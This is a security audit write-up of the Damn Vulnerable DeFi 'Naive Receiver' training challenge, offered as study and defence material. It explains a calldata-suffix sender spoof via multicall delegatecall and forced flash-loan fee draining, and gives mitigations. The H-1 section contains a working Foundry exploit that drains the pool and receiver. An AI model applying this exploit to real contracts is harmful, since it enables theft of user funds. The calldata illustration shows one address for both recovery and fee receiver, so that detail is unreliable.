# Naive Receiver Security Review

# Damn Vulnerable DeFi, Naive Receiver Security Review

Prepared by: SnavOhBurmaa

Lead Auditors: Khant Wai Yan Aung (SnavOhBurmaa)

date: June 20, 2026

# Table of contents

See table



# About Me

I'm a smart contract security researcher focus on EVM and Solidity protocols. This review was carried out as part of independent security practice on the Damn Vulnerable DeFi training set.

# Disclaimer

I made every effort to find as many vulnerabilities as possible, fixing the issues described here does not guarantee the contracts are free of all bug.

# Risk Classification

| | | **Impact** | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

# Audit Details

The project is Damn Vulnerable DeFi v4, the Naive Receiver challenge. The reviewed version use `pragma solidity =0.8.25` (DVD v4). The reviewer is Khant Wai Yan Aung (SnavOhBurmaa) and the date is June 18, 2026. Tools used were manual review, Foundry (forge) for the PoC, Slither, Aderyn, and `cast` for the opcode and calldata level checks.

## Scope

```
src/naive-receiver/
  NaiveReceiverPool.sol
  FlashLoanReceiver.sol
  BasicForwarder.sol
  Multicall.sol
```

# Protocol Summary

`NaiveReceiverPool` is a pool that holds 1000 WETH and offers ERC3156 flash loans of WETH for a fixed fee of 1 WETH per loan. The fee is credited to a configured fee receiver as an internal deposit balance. The pool inherits a `Multicall` helper so a caller can batch several pool calls in one transaction, and it supports meta transactions through a permissionless `BasicForwarder`.

To read the real caller behind a meta transaction, the pool overrides `_msgSender()` so that, when the caller is the trusted forwarder, the real sender is taken from the last 20 bytes of the calldata.

`FlashLoanReceiver` is a sample borrower deployed by a user with 10 WETH. It only accepts flash loans coming from the pool and repays `amount + fee` on every loan.

The intended security goal is that user funds in both the receiver and the pool stay safe, and that only the rightful owner of a deposit can withdraw it.

## Roles

The fee receiver (the deployer) receives the 1 WETH fee from every flash loan as an internal deposit balance. A depositor is anyone who deposits ETH and receives a matching WETH deposit balance they can later withdraw. The forwarder is a permissionless relayer that anyone can use to send a signed meta transaction on behalf of a signer. The player or attacker is an unprivileged user who starts with no funds and must rescue all WETH from the receiver and the pool into a recovery account, using at most two transactions.

# Executive Summary

The pool decides who owns a deposit by trusting data that the caller fully controls. When a call arrives through the forwarder, `_msgSender()` reads the real sender from the last 20 bytes of the calldata. Because the pool also exposes a `multicall` that runs each sub call with `delegatecall`, an attacker can hand craft a `withdraw` sub call whose trailing bytes spell out the fee receiver address, route the whole batch through the forwarder with the attacker own valid signature, and make the pool believe the fee receiver is asking to withdraw. This lets the attacker drain every WETH the fee receiver has accrued, which is the entire pool balance.

On top of that, the flash loan entry point lets anyone choose the borrower and force a loan on it. The sample receiver pays the fixed 1 WETH fee on every loan it receives, with no check on who started the loan, so an attacker can drain its 10 WETH simply by triggering ten loans. Combining both issues, the attacker empties the receiver and the pool and sends all 1010 WETH to the recovery account in a single player transaction.

The review also note lower severity and code quality observations, unchecked ERC20 return values in the pool, missing zero address validation in the constructors, a state variable that should be immutable, and an unused import.

## Issues found

| Severity | Number of issues found |
|---|---|
| High | 2 |
| Medium | 0 |
| Low | 2 |
| Informational | 2 |
| Total | 6 |

| ID | Title | Severity |
|---|---|---|
| [H-1] | Spoofable `_msgSender()` plus `multicall` lets anyone withdraw the fee receiver funds | High |
| [H-2] | Anyone can force flash loans on a receiver and drain it through the fixed fee | High |
| [L-1] | Pool ignores the return value of WETH `transfer` and `transferFrom` | Low |
| [L-2] | Missing zero address validation in the pool and receiver constructors | Low |
| [I-1] | `FlashLoanReceiver.pool` should be `immutable` | Informational |
| [I-2] | Unused `Address` import in `BasicForwarder` | Informational |

# Findings

## High

### [H-1] Spoofable `_msgSender()` combined with `multicall` lets anyone withdraw the fee receiver funds (theft of funds)

**Description:**

The pool trusts the end of its own calldata to learn who the real caller is. When the immediate caller is the trusted forwarder, `_msgSender()` returns the address encoded in the last 20 bytes of `msg.data`:

```
// src/naive-receiver/NaiveReceiverPool.sol:86-92
function _msgSender() internal view override returns (address) {
    if (msg.sender == trustedForwarder && msg.data.length >= 20) {
        return address(bytes20(msg.data[msg.data.length - 20:]));
    } else {
        return super._msgSender();
    }
}
```

The `withdraw()` function uses that value to decide whose deposit balance to reduce:

```
// src/naive-receiver/NaiveReceiverPool.sol:66-73
function withdraw(uint256 amount, address payable receiver)
external {
    deposits[_msgSender()] -= amount;
    totalDeposits -= amount;
    weth.transfer(receiver, amount);
}
```

This pattern is only safe if the trailing 20 bytes are appended by an honest relayer. The forwarder does append the signer at the end of the call it makes to the target:

```
// src/naive-receiver/BasicForwarder.sol:63
bytes memory payload = abi.encodePacked(request.data,
request.from);
```

The problem is that the pool also inherits `Multicall`, which runs each sub call with `delegatecall` to the pool itself:

```
// src/naive-receiver/Multicall.sol:9-15
function multicall(bytes[] calldata data) external virtual returns
(bytes[] memory results) {
    results = new bytes[](data.length);
    for (uint256 i = 0; i < data.length; i++) {
        results[i] = Address.functionDelegateCall(address(this),
data[i]);
    }
}
```

A `delegatecall` keeps `msg.sender` as the original caller, which is the forwarder, and it sets `msg.data` to the exact bytes the attacker placed in `data[i]`. So inside the inner `withdraw` call, the spoof branch of `_msgSender()` is taken, and the trailing bytes are whatever the attacker chose. The attacker simply appends the fee receiver address to the encoded `withdraw` sub call. The pool then subtracts the amount from the fee receiver deposit balance and sends the WETH wherever the attacker wants.

The forwarder is permissionless and the signature only needs to match the `from` field, so the attacker signs the request with their own key. No fee receiver key or any privileged access is required.

Location is `src/naive-receiver/NaiveReceiverPool.sol:66-73` and `src/naive-receiver/NaiveReceiverPool.sol:86-92`, with the enabling helper in `src/naive-receiver/Multicall.sol:9-15`.

**Opcode and calldata level analysis:**

The whole attack lives in the last 20 bytes of the inner call, so it is worth looking at the raw calldata. A normal `withdraw(1010e18, recovery)` call encodes as the 4 byte selector, the amount, and the receiver:

```
0x00f714ce

0000000000000000000000000000000000000000000036c090d0ca68880000   //
amount = 1010e18

0000000000000000000000073030b99950fb19c6a813465e58a0bca5487fbea   //
receiver = recovery
```

The attacker appends the fee receiver (deployer) address as a full word at the end:

```
+
0000000000000000000000073030b99950fb19c6a813465e58a0bca5487fbea   //
appended feeReceiver
```

When this runs under `delegatecall`, `_msgSender()` executes `CALLDATASIZE`, subtracts `0x14` (20), and does a `CALLDATALOAD` that reads the final 20 bytes. Because an address is right aligned inside that trailing word, those final 20 bytes are exactly the fee receiver address. The override therefore returns the fee receiver, and the `SUB` in `deposits[_msgSender()] -= amount` debits the

fee receiver slot. There is no signature check and no comparison against `msg.sender` at this layer, so the EVM has no way to tell this crafted suffix apart from one a real relayer would append. The same `cast 4byte 0x48f5c3ed` lookup also confirms the receiver guard magic value is `InvalidCaller()`, which is unrelated to this path and does not protect the pool here.

**Impact:**

Likelihood is High. The forwarder is permissionless, the attacker signs with their own key, and the entire batch fits in one transaction.

Risk is High. The attacker drains the full deposit balance of the fee receiver.

**Proof of Concept:**

The player batches eleven sub calls into one `multicall`. The first ten force flash loans on the receiver so its 10 WETH move into the pool as fees credited to the fee receiver, raising the fee receiver deposit balance to 1010 WETH. The eleventh sub call is a `withdraw` of 1010 WETH to the recovery account, with the fee receiver address appended so the spoofed `_msgSender()` debits the fee receiver. The whole batch is routed through the forwarder with the player own signature, which is a single player transaction.

```
function test_drainEverythingInOneTransaction() public {
    console.log("BEFORE ATTACK");
    console.log("pool WETH     :", weth.balanceOf(address(pool)));
    console.log("receiver WETH :",
weth.balanceOf(address(receiver)));
    console.log("recovery WETH :", weth.balanceOf(recovery));
    console.log("feeReceiver deposit:", pool.deposits(deployer));

    bytes[] memory calls = new bytes[](11);

    // Calls 0..9: force a flash loan on the receiver ten times.
    for (uint256 i = 0; i < 10; i++) {
        calls[i] = abi.encodeCall(pool.flashLoan, (receiver,
address(weth), 0, bytes("")));
    }

    // Call 10: withdraw 1010 WETH, with feeReceiver appended so
_msgSender() spoofs to it.
```

```
    calls[10] = abi.encodePacked(
        abi.encodeCall(pool.withdraw, (WETH_IN_POOL +
WETH_IN_RECEIVER, payable(recovery))),
        bytes32(uint256(uint160(deployer)))
    );

    bytes memory multicallData = abi.encodeCall(pool.multicall,
(calls));
    BasicForwarder.Request memory request =
BasicForwarder.Request({
        from: player,
        target: address(pool),
        value: 0,
        gas: 30_000_000,
        nonce: forwarder.nonces(player),
        data: multicallData,
        deadline: block.timestamp + 1 days
    });

    bytes32 digest = keccak256(
        abi.encodePacked("\x19\x01", forwarder.domainSeparator(),
forwarder.getDataHash(request))
    );
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, digest);

    vm.prank(player);
    forwarder.execute(request, abi.encodePacked(r, s, v));

    console.log("AFTER ATTACK");
    console.log("pool WETH     :", weth.balanceOf(address(pool)));
    console.log("receiver WETH :",
weth.balanceOf(address(receiver)));
    console.log("recovery WETH :", weth.balanceOf(recovery));

    assertLe(vm.getNonce(player), 2, "player used more than 2
transactions");
    assertEq(weth.balanceOf(address(receiver)), 0, "receiver not
emptied");
    assertEq(weth.balanceOf(address(pool)), 0, "pool not emptied");
    assertEq(weth.balanceOf(recovery), WETH_IN_POOL +
```

```
WETH_IN_RECEIVER, "recovery did not get all WETH");
}
```

Console output from `forge test --match-path test/naive-receiver/NaiveReceiverPoC.t.sol -vv`:

```
Ran 1 test for test/naive-receiver/
NaiveReceiverPoC.t.sol:NaiveReceiverPoC
[PASS] test_drainEverythingInOneTransaction() (gas: 412056)
Logs:
  BEFORE ATTACK
  pool WETH     : 1000000000000000000000
  receiver WETH : 10000000000000000000
  recovery WETH : 0
  feeReceiver deposit: 1000000000000000000000
  AFTER ATTACK
  pool WETH     : 0
  receiver WETH : 0
  recovery WETH : 1010000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped
```

The pool and the receiver both end at zero, and the recovery account holds the full 1010 WETH, all in a single player transaction.

**Recommended Mitigation:**

The root cause is that `multicall` lets an attacker control the full inner calldata while the call still arrives from the forwarder, so the appended sender can be forged. Do not let `withdraw` trust a sender taken from calldata in that context. The cleanest fix is to drop the `Multicall` inheritance, since batching is not part of the core feature and it is what enables the suffix to be forged.

File: `src/naive-receiver/NaiveReceiverPool.sol`, contract declaration:

```
-contract NaiveReceiverPool is Multicall, IERC3156FlashLender {
+contract NaiveReceiverPool is IERC3156FlashLender {
```

If batching must stay, do not derive identity from calldata for state changing functions. Keep meta transaction support only for functions where the appended sender cannot be combined with `delegatecall`, or pass the intended account explicitly and verify it against the forwarder verified signer

rather than reading raw calldata. At minimum, `withdraw` should never resolve its owner through the spoofable `_msgSender()` path.

# High

## [H-2] Anyone can force flash loans on a receiver and drain it through the fixed fee (theft of funds)

### Description:

The pool `flashLoan()` lets the caller choose any `receiver`, and it does not record or restrict who started the loan:

```
// src/naive-receiver/NaiveReceiverPool.sol:43-64
function flashLoan(IERC3156FlashBorrower receiver, address token,
uint256 amount, bytes calldata data)
    external
    returns (bool)
{
    if (token != address(weth)) revert UnsupportedCurrency();
    weth.transfer(address(receiver), amount);
    totalDeposits -= amount;
    if (receiver.onFlashLoan(msg.sender, address(weth), amount,
FIXED_FEE, data) != CALLBACK_SUCCESS) {
        revert CallbackFailed();
    }
    uint256 amountWithFee = amount + FIXED_FEE;
    weth.transferFrom(address(receiver), address(this),
amountWithFee);
    totalDeposits += amountWithFee;
    deposits[feeReceiver] += FIXED_FEE;
    return true;
}
```

On the borrower side, `FlashLoanReceiver.onFlashLoan` only checks that the call comes from the pool, then approves repayment of `amount + fee`. It never checks who initiated the loan:

```
// src/naive-receiver/FlashLoanReceiver.sol:15-40
function onFlashLoan(address, address token, uint256 amount,
uint256 fee, bytes calldata)
```

```
    external
    returns (bytes32)
{
    assembly {
        if iszero(eq(sload(pool.slot), caller())) {
            mstore(0x00, 0x48f5c3ed)
            revert(0x1c, 0x04)
        }
    }
    // ...
    WETH(payable(token)).approve(pool, amountToBeRepaid);
    return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
```

Because anyone can call `flashLoan` and point it at the receiver, and the receiver repays the fixed 1 WETH fee on every loan, an attacker forces ten loans of zero amount and bleeds the receiver of its 10 WETH. The fee moves into the pool and is credited to the fee receiver deposit balance, which then becomes the target of [H-1].

Location is `src/naive-receiver/NaiveReceiverPool.sol:43-64` and `src/naive-receiver/FlashLoanReceiver.sol:15-40`.

**Impact:**

Likelihood is High. No permission is needed, the loan amount can be zero, and ten cheap calls are enough.

Risk is High. It fully drains the receiver of its 10 WETH and routes that value to the fee receiver balance, where it is then stolen.

**Proof of Concept:**

The first ten sub calls of the `multicall` in [H-1] are exactly this forced loan, each one moving 1 WETH of fee out of the receiver. The console output above shows the receiver going from 10 WETH to 0.

**Recommended Mitigation:**

Make the receiver pay fees only for loans it actually requested. The receiver should check the `initiator` argument that `onFlashLoan` already receives, and reject loans it did not start.

File: `src/naive-receiver/FlashLoanReceiver.sol`, function `onFlashLoan()`:

```
-     function onFlashLoan(address, address token, uint256 amount,
          uint256 fee, bytes calldata)
+     function onFlashLoan(address initiator, address token, uint256
          amount, uint256 fee, bytes calldata)
          external
          returns (bytes32)
      {
+         if (initiator != address(this)) revert
          UnauthorizedInitiator();
```

For the pool side, consider charging the fee to the account that calls `flashLoan` rather than always crediting it to the fee receiver, so a third party cannot grief a borrower by forcing fees onto it.

# Low

## [L-1] Pool ignores the return value of WETH `transfer` and `transferFrom`

**Description:**

The pool uses the raw ERC20 calls and does not check the boolean they return:

```
// src/naive-receiver/NaiveReceiverPool.sol:50
weth.transfer(address(receiver), amount);
// src/naive-receiver/NaiveReceiverPool.sol:58
weth.transferFrom(address(receiver), address(this), amountWithFee);
// src/naive-receiver/NaiveReceiverPool.sol:72
weth.transfer(receiver, amount);
```

For the solmate WETH used here this is not exploitable, because that token reverts on failure. It is still fragile and inconsistent with the safe transfer pattern, and a token that returns `false` instead of reverting would let a failed transfer pass unnoticed.

Location is `src/naive-receiver/NaiveReceiverPool.sol:50`, `src/naive-receiver/NaiveReceiverPool.sol:58`, and `src/naive-receiver/NaiveReceiverPool.sol:72`.

**Impact:**

Likelihood is Low, because it only matters with non standard tokens. Risk is Low and mostly code quality.

**Proof of Concept:**

N/A

**Recommended Mitigation:**

Use `SafeTransferLib` from solmate so the return value is checked and non standard tokens are handled.

File: `src/naive-receiver/NaiveReceiverPool.sol`, imports:

```
 import {WETH} from "solmate/tokens/WETH.sol";
+import {SafeTransferLib} from "solmate/utils/SafeTransferLib.sol";
```

File: `src/naive-receiver/NaiveReceiverPool.sol`, transfers inside `flashLoan()` and `withdraw()`:

```
-         weth.transfer(address(receiver), amount);
+         SafeTransferLib.safeTransfer(ERC20(address(weth)),
          address(receiver), amount);
```

## [L-2] Missing zero address validation in the pool and receiver constructors

**Description:**

The pool constructor sets `trustedForwarder` and `feeReceiver`, and the receiver constructor sets `pool`, none of them check for `address(0)`:

```
// src/naive-receiver/NaiveReceiverPool.sol:26-31
constructor(address _trustedForwarder, address payable _weth,
address _feeReceiver) payable {
    weth = WETH(_weth);
    trustedForwarder = _trustedForwarder;
    feeReceiver = _feeReceiver;
    _deposit(msg.value);
}

// src/naive-receiver/FlashLoanReceiver.sol:11-13
constructor(address _pool) {
```

```
    pool = _pool;
}
```

A zero `feeReceiver` would send every fee into the zero address deposit balance, and a misconfigured forwarder or pool address would brick the integration. Slither and Aderyn both flag these.

Location is `src/naive-receiver/NaiveReceiverPool.sol:26-31` and `src/naive-receiver/FlashLoanReceiver.sol:11-13`.

**Impact:**

Likelihood is Low, because it requires a deployment misconfiguration. Risk is Low.

**Proof of Concept:**

N/A

**Recommended Mitigation:**

Add explicit zero address checks in both constructors and revert with a named error.

File: `src/naive-receiver/NaiveReceiverPool.sol`, function `constructor()`:

```
     constructor(address _trustedForwarder, address payable _weth,
         address _feeReceiver) payable {
+        if (_trustedForwarder == address(0) || _weth == address(0)
         || _feeReceiver == address(0)) {
+            revert InvalidAddress();
+        }
         weth = WETH(_weth);
         trustedForwarder = _trustedForwarder;
         feeReceiver = _feeReceiver;
         _deposit(msg.value);
     }
```

# Informational

## [I-1] `FlashLoanReceiver.pool` should be `immutable`

**Description:**

`pool` is set once in the constructor and never changed afterwards, so it can be marked `immutable`. That documents the intent and saves gas, since the value is then read from the contract code instead of storage on every flash loan.

```
// src/naive-receiver/FlashLoanReceiver.sol:9
address private pool;
```

Location is `src/naive-receiver/FlashLoanReceiver.sol:9`.

**Impact:**

Likelihood is not really applicable here. Risk is Informational.

**Proof of Concept:**

N/A

**Recommended Mitigation:**

File: `src/naive-receiver/FlashLoanReceiver.sol`, state variable:

```
-    address private pool;
+    address private immutable pool;
```

Note that the assembly access control in `onFlashLoan` reads `sload(pool.slot)`. If `pool` becomes `immutable` it no longer lives in storage, so that check must read the immutable value through Solidity instead of `sload`.

## [I-2] Unused `Address` import in `BasicForwarder`

**Description:**

`BasicForwarder` imports `Address` but never uses it. Dead imports add noise and can confuse readers about the trust surface.

```
// src/naive-receiver/BasicForwarder.sol:7
import {Address} from "@openzeppelin/contracts/utils/
Address.sol"; // not use?
```

Location is `src/naive-receiver/BasicForwarder.sol:7`.

**Impact:**

Likelihood is not really applicable here. Risk is Informational.

### Proof of Concept:

N/A

### Recommended Mitigation:

File: `src/naive-receiver/BasicForwarder.sol`, imports:

```
-import {Address} from "@openzeppelin/contracts/utils/
        Address.sol"; // not use?
```